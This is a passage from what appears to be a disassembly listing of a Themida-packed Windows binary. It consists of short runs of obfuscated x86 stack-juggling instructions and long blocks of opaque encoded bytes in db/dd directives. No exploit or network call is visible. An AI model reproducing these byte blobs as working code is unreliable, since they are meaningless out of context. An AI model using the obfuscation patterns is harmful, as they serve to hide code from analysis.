ecx, 2 sub ecx, 28612136h and ecx, 1E83044Ch dec ecx not ecx xor ecx, 0F8917A98h push esp mov eax, [esp] add esp, 4 push edx mov edx, 8 add edx, 4783444Dh add edx, eax sub edx, 4783444Dh mov [edx], ecx pop edx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- db 0C0h dd 89A3B856h, 0C50307ECh, 0D2E2E0FFh, 99060598h, 31BA3726h dd 17307731h, 0C70E4509h, 6ECD16B4h, 7FFF5F63h, 61B76EC4h dd 0EDE97337h db 3 dup(0) byte_60AEF3 db 60h ; DATA XREF: Themida_:00585548o ; Themida_:0058571Co dd 0A8D88C66h, 0DF840F04h, 8B000000h, 0E41281B5h, 0FE8307h dd 22850Fh, 85C60000h, 7E42C2Dh, 69696845h, 0B5FF8E72h dd 7E4019Dh, 0B0A7858Dh, 0D0FF07E7h, 16658589h, 0F08B07E4h dd 0FE93E80h, 3185h, 28858D00h, 0FF07E9B9h, 39BD8BD0h dd 8107E42Dh, 1184C7h, 81B58B00h, 8707E412h, 8B9F7h, 0A4F30000h dd 1281B58Bh, 858D07E4h, 7E86E30h, 0B58BD0FFh, 7E401A9h dd 0F00FE83h, 2285h, 2D85C600h, 5407E42Ch, 4EBEF468h, 9DB5FFFFh dd 8D07E401h, 0E7B0A785h, 89D0FF07h, 0E401A985h, 80F08B07h dd 850FE93Eh, 3Ah, 1A9B58Bh, 858D07E4h, 7E9B928h, 0BD8BD0FFh dd 7E42D39h, 1184C781h, 0C7830000h, 0A9B58B08h, 8707E401h dd 8B9F7h, 0A4F30000h, 1A9B58Bh, 858D07E4h, 7E86E30h, 0C361D0FFh dd 8A68858Dh, 858907ECh, 7E43291h, 8C0C8D8Dh, 14E807ECh dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h dd 609BB0EBh, 0F18B5B53h, 8D895F61h, 7E41B71h, 29DD9589h dd 236007E4h, 0E422B58Dh, 0BD858907h, 6107E430h, 2DA185C7h dd 5B5407E4h, 0E0810000h, 59E174BFh, 22B985C7h, 7E4h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 893251C3h, 0E40AF18Dh, 91B5FF07h, 0F07E422h, 8A0FC6B7h dd 0Ch, 7E9h, 42570900h, 3C7E1A06h, 306195FFh, 958907E4h dd 7E42F7Dh, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 0CB050145h dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h dd 70DC9192h, 0B8A5B69Bh, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh dd 0C337E483h, 51DEFF5Eh, 0C96D770Fh, 147D7AE2h, 5B882BAEh dd 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h dd 1A5711D1h, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h, 4CE165B8h dd 0F2001058h, 0E9CBFE05h, 2Ah, 59641DC3h, 416C7452h, 636F6C6Ch dd 48657461h, 706165h, 140000h, 4 dup(0) dd 20E90000h, 68000011h, 7EC8E7Bh, 0F7F13EE9h, 8F8D68FFh dd 34E907ECh, 68FFF7F1h, 7EC91C1h, 0F7F12AE9h, 92A668FFh dd 20E907ECh, 68FFF7F1h, 7EC9660h, 0F7F116E9h, 96E868FFh dd 0CE907ECh, 68FFF7F1h, 7EC9727h, 0F7F102E9h, 981E68FFh dd 0F8E907ECh, 68FFF7F0h, 7EC98D8h, 0F7F0EEE9h, 993268FFh dd 0E4E907ECh, 68FFF7F0h, 7EC9B2Fh, 0F7F0DAE9h, 9C3868FFh dd 0D0E907ECh, 82FFF7F0h, 0DEF488AAh, 3B51E505h, 9BB1455Fh dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh dd 253D1A30h, 0B12EDE91h, 13AE2DCAh, 56B44388h, 5B296179h dd 602E667Eh, 7D346C82h, 0A27FFEA6h, 5BD83A8Ah, 1442A0A4h dd 5E3DC932h, 16384Ah, 0E3F7D625h, 8EC83A8Ah, 8081738h dd 0EC022436h, 0CBEBC40Fh, 8F6C3A72h, 0CBC4E377h, 941693E3h dd 0DA13A659h, 0F38C3971h, 2413A65Eh, 21EF94Ah, 0CAA371A9h dd 6C3372AAh, 0F207838h, 1FD82757h, 20BED877h, 0C3B83542h dd 8F13A656h, 6841CD26h, 33973648h, 0C0000000h, 1C6C424Dh dd 2AE448BAh, 175A3D6Dh, 0B6460C05h, 0AB1413A6h, 8835C673h dd 819213A6h, 0E96699C5h, 0CE30D877h, 0A684AA51h, 0ADBF2813h dd 0AE0Eh, 79563700h, 805B2961h, 9B761464h, 0FA53734Ch dd 0B6C727C2h, 0CC4D3D37h, 21EFB5C7h, 20F944h, 0C4A16FA7h dd 872318ACh, 9A144209h, 0B755A5BDh, 8BADBFDDh, 48809875h dd 40901E71h, 0A60641C3h, 12A60F13h, 0A7BB9A38h, 9FC2D46Fh dd 0F16EBEF0h, 14408FFEh, 5DFB4BB4h, 0F8D26682h, 2A62805Ah dd 2B63835Ch, 0B253790h, 1CC01430h, 15623721h, 0E934FD5h dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h dd 7B007D2Dh, 0D713AE2Eh, 7B560392h, 0D8B5CB5Fh, 4D5B2CC0h dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h dd 0AD7BB3CDh, 60B9CFh, 8C47E04Eh, 29081AA8h, 20DB88C0h dd 0A713A65Bh, 51AEEE96h, 86D87716h, 0FBh, 617956AFh, 7F957311h dd 0D49AAC47h, 7AC9A442h, 0B04B839Fh, 0F58A0757h, 611442A0h dd 0F1CCE6F8h, 0D0F09DD5h, 0A31442A4h, 0D9112705h, 35122C3Eh dd 0EE6BCD1Dh, 1442A509h, 0F7D05CC5h, 0F2049FD7h, 92DDBAD0h dd 84099B9h, 505E31h, 346C8662h, 0A55E25A2h, 93FC1442h dd 0CD4A283Ah, 13A6B14Bh, 889E7C1Ah, 9A2E9776h, 8C67147Bh dd 124A5E3Dh, 75C51E77h, 0BF8CC003h, 55E19D63h, 714F6177h dd 40CDD4F4h, 0ED3DA614h, 0C458744Fh, 0AB84D3AEh, 5FB8538Bh dd 375FDB0Bh, 0A42A6A62h, 0D81h, 55E90BE3h, 0B246663Fh dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0AE2F6D12h, 15A4E913h dd 56587B56h, 6A6EFF55h, 697F136Ch, 0C224748Ch, 241CE360h dd 51BA1442h, 422411E6h, 4254BD14h, 56D44620h, 0C7A7F76Dh dd 56AE8395h, 5B296179h, 0DDD2667Eh, 1442A022h, 0EC809875h dd 0A9E1F9D6h, 819F7917h, 6078556Fh, 6EE0EA28h, 79A45FCFh dd 5C35C133h, 0D98D2A3Ch, 0DD718966h, 5BACF906h, 0ACDEE0h dd 4D070000h, 9F1C6C42h, 13A6B6E9h, 59063EA7h, 13A6B7A6h dd 0C0F818F1h, 0C3FB17F2h, 0C989BD84h, 75246071h, 0CCDEFED7h dd 78060EF1h, 7CC7D8h, 77F00000h, 1442A085h, 0D6268807h dd 0A6A6B759h, 40D43D13h, 0F0870466h, 5E13A6A6h, 0A6FA81FEh dd 0EF5813A6h, 8F6A8496h, 3E186340h, 0F48FC720h, 38C639Bh dd 90DE5BABh, 3E1442A6h, 4D2B41D5h, 180A2504h, 0F96725FBh dd 852058B1h, 0C462F42Ch, 663FCBEBh, 61730E46h, 0D5D513Eh dd 6EF3BE90h, 0B74BB41Ch, 79FE7BDDh, 0D503EE3Ch, 6885A6Ch dd 0E000009h, 3C482FACh, 9D0603EEh, 424DB68Bh, 0E59F1C6Ch dd 0AB13A6BDh, 0A25D0A42h, 0F513A6BEh, 0A5BCF918h, 62F714A7h dd 542FD109h, 9E8DABC0h, 5E7E57E3h, 0EC986F26h, 447C9471h dd 0E7F850A9h, 0E600FFBFh, 15D5D877h, 0FE000000h, 42A08477h dd 29CE4B14h, 0A51442A0h, 3C9FE33Ch, 2EFFFFFCh, 0F875424Dh dd 1442A003h, 0A0AC53D0h, 0C12A1442h, 5EAE0770h, 0A6B47BE1h dd 1BB91913h, 50EB2341h, 0A6B41EE5h, 0FA53BC13h, 0B46A15C2h dd 0D0E113A6h, 917E894h, 34C0D878h, 0E9000005h, 18ED245h dd 5DFB5DADh, 9631697Fh, 42A0542Bh, 49990214h, 42A037CCh dd 283AA314h, 8C1FCD4Ah, 64CD13A6h, 0BC70505Bh, 0D1BEBA63h dd 2E108DDDh, 24A20FDCh, 0E3AC83BBh, 0DAFE7BCBh, 79AA286Eh dd 0AEE6FEDBh, 86220113h, 0BC578FABh, 98751363h, 0F9D6EC80h dd 5EB7D3AEh, 8DA3E60Ah, 0AD3373B0h, 0B4Dh, 891D3F17h dd 0E67A9A73h, 46DAF4D0h, 0A93D5130h, 89CB893h, 0B590C92Fh dd 15EF0599h, 6F4D63F7h, 0D2AFC559h, 0C37326BAh, 0AE31B146h dd 49D81D13h, 0ED6A7956h, 1442A016h, 0A0B348C5h, 0B61F1442h dd 6BA3FC65h, 475D3BD9h, 317D1235h, 865A64E1h, 5BF913A6h dd 63046480h, 0A11D64A7h, 8BF4D3E5h, 0A9BF9D3Bh, 4ADBE759h dd 0F821B4A2h, 0D0AEC4E6h, 2ED582BAh, 0AD13A6AFh, 517350Fh dd 0A6BF730Ch, 6642E013h, 78173A4Ch, 1284E636h, 0EE6AD34Dh dd 0B7B0C2A7h, 14429899h, 99467EE7h, 1B8A9BE6h, 6C105465h dd 0D093D693h, 1C44h, 424D6D00h, 0C99F1C6Ch, 8713A6B6h dd 3A5CCE1Eh, 95A2EB3Bh, 1AA06678h, 0Eh, 6C424DA9h, 0B5019F1Ch dd 0E64F13A6h, 795625AEh, 0D1ED0D61h, 40807202h, 0A68BAh dd 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh, 819D788Eh dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h, 580B9FB7h dd 32542BA8h, 0BD0213AEh, 39424D2Eh, 720D455Bh, 2A4CC919h dd 0B813A6B4h, 6C49174Fh, 0F22A4621h, 0CE3B3550h, 0CF281E8Ch dd 93EDE276h, 0FD34EDC0h, 0EF0DE794h, 2FC31CB7h, 0DF2F7F10h dd 89214462h, 59A9123Ch, 90C8DCBBh, 748C69F5h, 0F5CE9C62h dd 4FE8BACEh, 411CB2B1h, 56CCC25h, 0D655D6E7h, 0F514A801h dd 52C4149Ah, 2C0B6A6Eh, 52304204h, 0B5C977D5h, 649C0524h dd 0B5C9C4B7h, 3272832Ah, 64B4758Ah, 1D962A1h, 4D8B0000h dd 9F1C6C42h, 13A6B445h, 562DAA0Ch, 0F513A6B5h, 2A4F476Ch dd 0E77C8E5h, 0A8811DFCh, 55B55088h, 52BF961Ch, 3F77D0CDh dd 8859471h, 13A6E373h, 5CADC9A4h, 5126A3F3h, 0FD13A6E3h dd 91A73B94h, 38D495B4h, 8E2EA0F7h, 6D47E535h, 0BC7BEF4Fh dd 0A9630552h, 0DA24D197h, 3D34ED24h, 44124A5Eh, 0B0144C6Ah dd 1D3F7333h, 0CDE3C15Fh, 4BE8FA95h, 2F47241Bh, 4E6241DFh dd 27041A3Ch, 0D02AD70Fh, 431C2662h, 45134B69h, 0ECC55167h dd 4BA4BC99h, 0C1855C13h, 1451C91h, 2EE2E85Ah, 3D33E7ABh dd 1C34112Bh, 16ED6ACCh, 0C4423969h, 6910E764h, 55BE4239h dd 0EEC8EAFCh, 0CD35DC7Ch, 0C744A6A1h, 42390830h, 0CADC359Eh dd 47C4D3B0h, 423908B0h, 0B4EC08E3h, 65FC819h, 0BF9E3CCEh dd 0C6D873ABh, 6CBCF2A3h, 390828EFh, 2D7DE642h, 3A4E2DCBh dd 7FC6702h, 0D3423908h, 1736586Ah, 69E63678h, 45DD022Fh dd 86548CF5h, 0E7FD91A9h, 28BAF20Ah, 845FB08Ah, 3C953068h dd 5E576904h, 4A1D1381h, 0E5123912h, 0E9D902B2h, 0BA4C84DDh dd 1D2A463Dh, 1FAB144Ah, 31BF841h, 9FD730CBh, 0BADCF4D1h dd 0D449093Dh, 27431EBCh, 8DCC7815h, 0C4FC10EFh, 20FD1729h dd 389A7408h, 1D2AC4BBh, 6116934Ah, 0ED4A1D2Bh, 0B8CA3384h dd 49139ABFh, 0A9DF43Eh, 27AB549Eh, 90247D0Bh, 4D859D7Ah dd 0B6366BA0h, 0F610EC40h, 0FA14F0BEh, 88BC83C2h, 7D29A6C8h dd 99162502h, 4CB877E2h, 1AAE0770h, 0BF0F2704h, 0D17B3E4Dh dd 1E30998Eh, 990E8158h, 82FF2EC4h, 4CB8C4FDh, 9190F059h dd 858B1B6h, 0C8A644A6h, 5AB047B2h, 0B51E4CB8h, 70A4AAA3h dd 89F24B5Ch, 4C27F5h, 4DB60000h, 0BA1C6C42h, 0A024DB58h dd 49B21442h, 0B6A83E37h, 0BD2613A6h, 7955F385h, 1895275Fh dd 13A6B663h, 1B2D86EFh, 74082801h, 3752B8Ah, 0F10FE992h dd 3CCB4898h, 0AB13A6BCh, 0E018300Dh, 0F4543345h, 0A6BC8077h dd 8CE54E13h, 79560F10h, 0FF37532Eh, 58770B64h, 0AA277737h dd 13A6BC34h, 0BA9F962h, 29C7172Dh, 123354Bh, 0BFF70DEBh dd 0F5D4A7E8h, 0D63888E1h, 0BD00F774h, 0B69313A6h, 7ACB669Eh dd 0B406FF11h, 9B14429Bh, 0D00820FDh, 0DB442335h, 0F405F6A3h dd 0A851B8Ah, 79D754A4h, 81C6EF5h, 49EB2496h, 0E7F99A67h dd 798D6C08h, 0F413C919h, 55AE99C6h, 0A48F701Dh, 2B3C03EEh dd 0DBC437Bh, 1F19C8B0h, 42000000h, 1C6C424Dh, 293D1CBAh dd 0EECA56F1h, 0EF019CD4h, 0A6B610F6h, 3D75DE13h, 2EB7h dd 424D4600h, 70B4AD65h, 746D1A94h, 0EA0747F8h, 0D7B03C95h dd 8BE47FB7h, 0A2E0BE3Bh, 56E13A6h, 5CD93BCDh, 13A68CA7h dd 0A0BC9733h, 92603547h, 0ACFC1AF4h, 42A0482Fh, 8B9D0614h dd 287C9471h, 7202D1DCh, 0AEDF65A5h, 0B6000006h, 1228BCDEh dd 6F851939h, 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h dd 96B48EA4h, 0F80EEC02h, 59714E64h, 0E56212C5h, 13AE361Eh dd 45E877BCh, 6B107FC1h, 0CF1F788Ch, 0A68C8452h, 0E0E95213h dd 0E0566ED5h, 0C7E7A8D1h, 0A79CFA77h, 16AD98Dh, 119DF2C9h dd 9C6744C1h, 56F4C1A9h, 38542F78h, 0FA0CA7DFh, 8AA27F1Bh dd 0E5EB752h, 7849370h, 0CDB1E370h, 881C75DEh, 297D9572h dd 980F8EE5h, 26EA70B0h, 3E000006h, 9AB04466h, 0F70DA1C1h dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13AE3696h, 5670FF44h dd 0B0D6179h, 9E7202D2h, 5E7D85Eh, 0A57D0000h, 0D9EF83h dd 5A364CE0h, 0B796AC40h, 1EF90FA3h, 6F956E02h, 6BFF1BF6h dd 0C95D7B55h, 2BBFD5B3h, 8C203815h, 0D7AC29D9h, 8313AE37h dd 7956AF3Eh, 3D522961h, 42A42171h, 1013AE2Ch, 9BF413A7h dd 0C361C313h, 6642CEE6h, 0AB413A4Ch, 29144A0Dh, 58F688C0h dd 902B637Bh, 0DFA857Eh, 421D1B92h, 4120EE26h, 6DC02826h dd 64BDABE3h, 66845E2Ch, 71F4932Eh, 79507635h, 0C49A5A35h dd 4202136Bh, 8BE4E51Ah, 0EC41B3D0h, 0B8366796h, 0A953F204h dd 7C000000h, 27C5C045h, 0A1EFD4Ch, 0A6DE37D2h, 0B9D6F90Bh dd 7A28A5F5h, 2813A68Ch, 0CAABB6BFh, 99DCA19Eh, 0CB0321FBh dd 94FB1E30h, 0F668CA1Ah, 0BA092A24h, 0C1BACC24h, 0C54D627Fh dd 0FE2265D5h, 0E65F1CE5h, 117E558Dh, 88D04D9Dh, 4ACD75CBh dd 16F391E1h, 77546AFEh, 47170B5Fh, 66A68B4Ah, 4F0E0h dd 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h dd 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh dd 38DCA320h, 357A13AEh, 0B33092A6h, 1442A0CCh, 7E008F7Bh dd 4798E39Ch, 0A4FACCDEh, 89000000h, 0FD19F492h, 0F5182AC5h dd 62C4149Ah, 0A0FC8300h, 0F15A1442h, 356D8B65h, 658F889Ah dd 0EB13AE2Ch, 0B7943282h, 0E307BA98h, 9BFBB735h, 408EFD9h dd 27BB14C2h, 0CC1C3411h, 2C197F5Ah, 67796C21h, 0E9C5CAA1h dd 84361C99h, 0E444144Ah, 92889067h, 7CD53E1Bh, 85226D44h dd 7046901h, 66B60F20h, 76B997E9h, 80D43D1Ch, 5A4EB4ACh dd 365FE525h, 2E000004h, 8AA03456h, 0E7FD91B1h, 475DF10Bh dd 0AAC05468h, 461FB3CFh, 0B0CCA7A0h, 0E2C061Ch, 7086647Ah dd 0D1E9C6DCh, 5DDA8A3Dh, 13AE38A6h, 7760EF34h, 1442A080h dd 42A04B34h, 0E2CCC314h, 2CF31592h, 0E48213AEh, 0FBDAEC0Ah dd 0AF8C5A92h, 45F34397h, 0B2F26A16h, 3DC2Ch, 8EB08800h dd 0EB0BE4FAh, 4B654157h, 0AEC2A1B7h, 0D29041Ah, 15AA079h dd 60760A26h, 0BED46886h, 2036CAE0h, 0E4972B43h, 39C0B734h dd 498E13AEh, 1AF492BAh, 79D2EEC9h, 7A94A641h, 0D335859Dh dd 42A0A156h, 0B2C42D14h, 2D7A15ECh, 0FB062AB3h, 5EAE07C2h dd 0A63F3FE1h, 0D86CD513h, 0BD3A9CFEh, 13A63FC6h, 3BC02B94h dd 9713A600h, 0AAC8A22Eh, 0BA9F98h, 0C29D0CB7h, 21FC12A6h dd 3D17B505h, 3A4CE71Fh, 0B3F49D74h, 0D24253E3h, 1DE25F2Bh dd 0B932B768h, 0A9EF750h, 61795639h, 667E5B29h, 0E30CA416h dd 0A6360C4Dh, 3C537294h, 0D855603Fh, 1442CD23h, 0B5ED46AFh dd 0A522BA1Ah, 0BDA89F8Fh, 15971464h, 5C13A6A9h, 0B3C5E5BEh dd 425C38D4h, 0BD1FB1E9h, 0F129431Fh, 8E14EB56h, 0AE8713A6h dd 0C2D43D8Eh, 0A68E36C9h, 0C0849513h, 77EF639Ch, 8574D8h dd 0F6940000h, 9C770317h, 92996E80h, 0CB598220h, 4274A94Eh dd 5CBC2514h, 0E8380780h, 428A946Bh, 0C7D94214h, 0F1BCEBA4h dd 8B5A621Dh, 375C51Eh, 0D3EE13Fh, 997789F5h, 0A4BC9937h dd 0FD39992h, 38A113A6h, 10A85300h, 0DEB13A6h, 14F1BFF7h dd 0E360C4FCh, 8697EFA3h, 61619EDEh, 0D537D877h, 0F3623463h dd 974AD8Eh, 13A67172h, 0AA2777E0h, 13A671D5h, 67061881h dd 0C7h, 0F40CE987h, 0FA10EEBCh, 56BA8FA1h, 73116179h dd 54744D94h, 0F028811Ch, 0AF7D4355h, 0B280B8D4h, 0B785BDD5h dd 392EC2DAh, 1442A499h, 23744EECh, 4AD62F45h, 2B45576Bh dd 8CA2364Eh, 6B8B64AFh, 8C03DA12h, 4755D222h, 1513A6ABh dd 96F918ACh, 0E74BC818h, 7614405Eh, 7E0EA904h, 0B8538B9Fh dd 9191E158h, 0E737A07Fh, 0BE526E49h, 758472E4h, 9D190E61h dd 0F050A9BFh, 705E5085h, 1A2C10h, 8BB50925h, 6E623872h dd 1DFA82Eh, 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h dd 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh, 33C7DDBBh dd 9428401Dh, 0CFB431E1h, 8B13AE3Bh, 7B56B746h, 0D8B5CB5Fh dd 925B2CC0h, 0C90115F4h, 96F91C2Eh, 854BC818h, 5313A6A9h dd 22FC9AEAh, 839B7804h, 7DFEAB71h, 9613A6A9h, 9A68A0BAh dd 0B269A1C1h, 8FE7ABDBh, 6996C67Eh, 6ED87808h, 0D7h, 0C8AF2C8Eh dd 8613A6A5h, 56360B1Dh, 97296179h, 27C3E425h, 7955E33Ah dd 0DAF4065Fh, 2193E3FFh, 3B9EC663h, 0AA277722h, 144223D5h dd 40061881h, 42273793h, 152D0A14h, 304C27C5h, 0F6D15DF8h dd 90A6C8DAh, 8C639BB3h, 4037B403h, 0E144228h, 7FFC4CA5h dd 13A62611h, 0ADC7A33Fh, 48E6C054h, 20435569h, 8DEF3F6Fh dd 0A6376B10h, 6D4BE713h, 0EECFE57h, 40D11691h, 0A3F35C14h dd 79C8A341h, 1A2C859Bh, 75092500h, 1468845Fh, 62375436h dd 0D61197D7h, 8E000000h, 0EA0094B6h, 475DF111h, 0A7BD516Bh dd 0A20B4C8h, 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh dd 3149263Ch, 0BD3AEA9Dh, 13AE3CC6h, 56C04F94h, 710F5F7Bh dd 0A8437B95h, 815E7496h, 5604D569h, 5B296179h, 0B3D2667Eh dd 995EDBDCh, 351442A0h, 0A62373CCh, 13AE2C50h, 5B209DFFh dd 0F713AE2Dh, 19D7C8Eh, 62B20B25h, 2DFC8300h, 0DE5B13AEh dd 13AE2D19h dd 92FB4CB5h, 0FECBA80h, 704D63F7h, 0B2732058h, 0AF4D26ADh dd 2E0B7232h, 8F6C8216h, 92713F77h, 0AD750A87h, 78E17237h dd 5631CF1Fh, 0B6D4AE3Ah, 0BD1E37Eh, 0C09E3C54h, 0C5D772AAh dd 24017C28h, 534ABC0Ch, 7AA1E0EBh, 172D4F61h, 0FDEC1B3Ah dd 78BE421Bh, 0A0F90DECh, 3E268h, 8D710000h, 5C7E563Eh dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h, 4C681E6h dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 89562414h, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2434895Ch, 8D2CBB53h, 895507ECh dd 5DEA89DDh, 348B545Bh, 4C48324h, 8FB85052h, 316F3E54h dd 58042444h, 8108468Fh, 548F0876h, 348B6F3Eh, 0E0895024h dd 405h, 4C08300h, 5C240487h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 60F61735h, 9FA87A3Fh, 0B8170C9Fh, 7EC9D33h, 0E0FFC503h dd 0D751A77h, 1163AE90h, 2C1C9178h, 3E2F01A0h, 406C9188h dd 1583E736h, 0C390E15h, 9EB68D8Dh, 6A07ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 852312C3h dd 7E41C15h, 1B718D89h, 0BA6607E4h, 85C788A0h, 7E42DA1h dd 70ACh, 6E2F81BAh, 0B985C728h, 7E422h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 6DA9C351h, 0A6ECA9BBh, 0FF6A3ADEh, 0E41D49B5h, 95296007h dd 7E40DA5h, 99958B57h, 5A07E412h, 0DF816661h, 95FF6000h dd 7E43061h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 82C35141h, 4D9AA630h, 0F37AE022h, 6A5CB2h, 0E4195FFh dd 0C08B07E4h, 4F6F7FEBh, 0B2053E3Dh, 98BBF630h, 249BCEB0h dd 0EC226185h, 15F3BFD1h, 12D944EBh, 0AA0CE4BAh, 880B1AB5h dd 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 4986C5B8h, 76041B64h dd 9B68D751h, 7914C60Eh, 15E8E865h, 0B9CFAD92h, 1D8C9BB6h dd 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h, 0BAD1411Eh dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 798B857h dd 0B5CB7F48h, 0D7E21451h, 5F4F2183h, 3F8D8D87h, 8907ECA0h dd 0E435618Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D33FC352h dd 2D70FEA8h, 0C7FC8CC3h, 0E42DA185h, 6A4C07h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 572E8969h, 14E96F91h, 11000000h, 47A61725h, 8E428F5Fh dd 61C79BDh, 1ACE01CCh, 0C75A7736h, 0E422B985h, 7, 0BD8B6000h dd 7E42A05h, 6820Fh, 9D330000h, 7E40A51h, 49B5FF61h, 6A07E41Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 45A1C353h, 8B0F42B3h, 13h, 0EE9h, 4D6B3A00h dd 0F964F7E9h, 0D4749DC6h, 0FF743A88h, 0E4306195h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 51EDAC77h, 6A0104FCh, 4195FF00h, 8B07E40Eh, 0B07FEBC0h dd 0D8F1237Ah, 0F504B02Eh, 15F1363Ch, 9673E031h, 36762331h dd 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h, 8204670Ah, 7462880Ch dd 0A82DFF03h, 654B8E88h, 0A1689D92h, 11EC6290h, 8091DE4h dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h dd 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h, 97572F9h dd 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h, 39D258EEh dd 9DB663A2h, 8D8DEF64h, 7ECA1AEh, 6A1B589h, 8D8907E4h dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0ADC35343h, 0A44EB018h, 853160F9h, 7E412C9h, 21159D8Bh dd 0C76107E4h, 0E42DA185h, 68D007h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 70056443h dd 8962FE0Ah, 0E4020D8Dh, 0D39FBF07h, 85C736CEh, 7E422B9h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h dd 8B6487E6h, 6890FF9h, 8B000000h, 0E40709B5h, 49B5FF07h dd 0FC07E41Dh, 306195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0FF5F37C3h, 0F2AE769h dd 32F1BD89h, 6A07E4h, 0E4195FFh db 0E4h byte_60C639 db 7, 8Bh, 0C0h ; DATA XREF: Themida_:00582698o ; Themida_:0058577Co dd 0BDED7FEBh, 0BD42AC56h, 0A947E085h, 29DE8730h, 0DB93B838h dd 0DC9DDE13h, 641EDDCh, 1406B45Fh, 0A922CC39h, 0A13BD485h dd 0CF98F0E1h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh dd 9AEC221h, 0CC2AD2FBh, 4EABFEE5h, 6C03F3ADh, 46BDDD56h dd 5F885F6Ah, 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh dd 86C1DA45h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 16363A5h dd 85200DBBh, 0A520ED15h, 418D8DE2h, 6A07ECA3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0B6B3C351h, 0A55DF92Dh, 0B58BB95Dh, 7E42B61h, 8CD8D89h dd 8D8907E4h, 7E41B71h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0D3C35040h, 63E172CDh, 6850Fh, 820F0000h dd 0 aEbF@b db 'Η ‘-δ',7,'@b',0 align 2 aJ_0 db 'j',0 dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0CC1A0C3h, 8103B691h, 0F9FFA065h, 22B985C7h, 7E4h, 13E90000h dd 0B1000000h, 7735C364h, 0E0E00893h, 58D2708h, 0DCADA1CFh dd 0B5FF454Ch, 7E41D5Dh, 128C0Fh, 0BE80000h, 49000000h dd 0D238F3F4h, 2262F659h, 5EF99B6Fh, 95FFF08Bh, 7E43061h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0ADC35040h dd 9A542036h, 8B3CE243h, 0E41B7585h, 0FF006A07h, 0E40E4195h dword_60C7CC dd 0EBC08B07h, 0DDDED35Bh, 8D726135h, 0A11B6FA2h, 0BAEB83C1h ; DATA XREF: Themida_:00582D58o dd 6F77B123h, 0B8CCEFA6h, 783C3737h, 9F935CACh, 988BFBD0h dd 0CCA68A0h, 0FB044ED0h, 0EE84894Fh, 72C64472h, 65EE01ECh dd 3591FD87h, 0CE8F1B8Dh, 306EB0F8h, 75E94B12h, 38055CBEh dd 22BD864h, 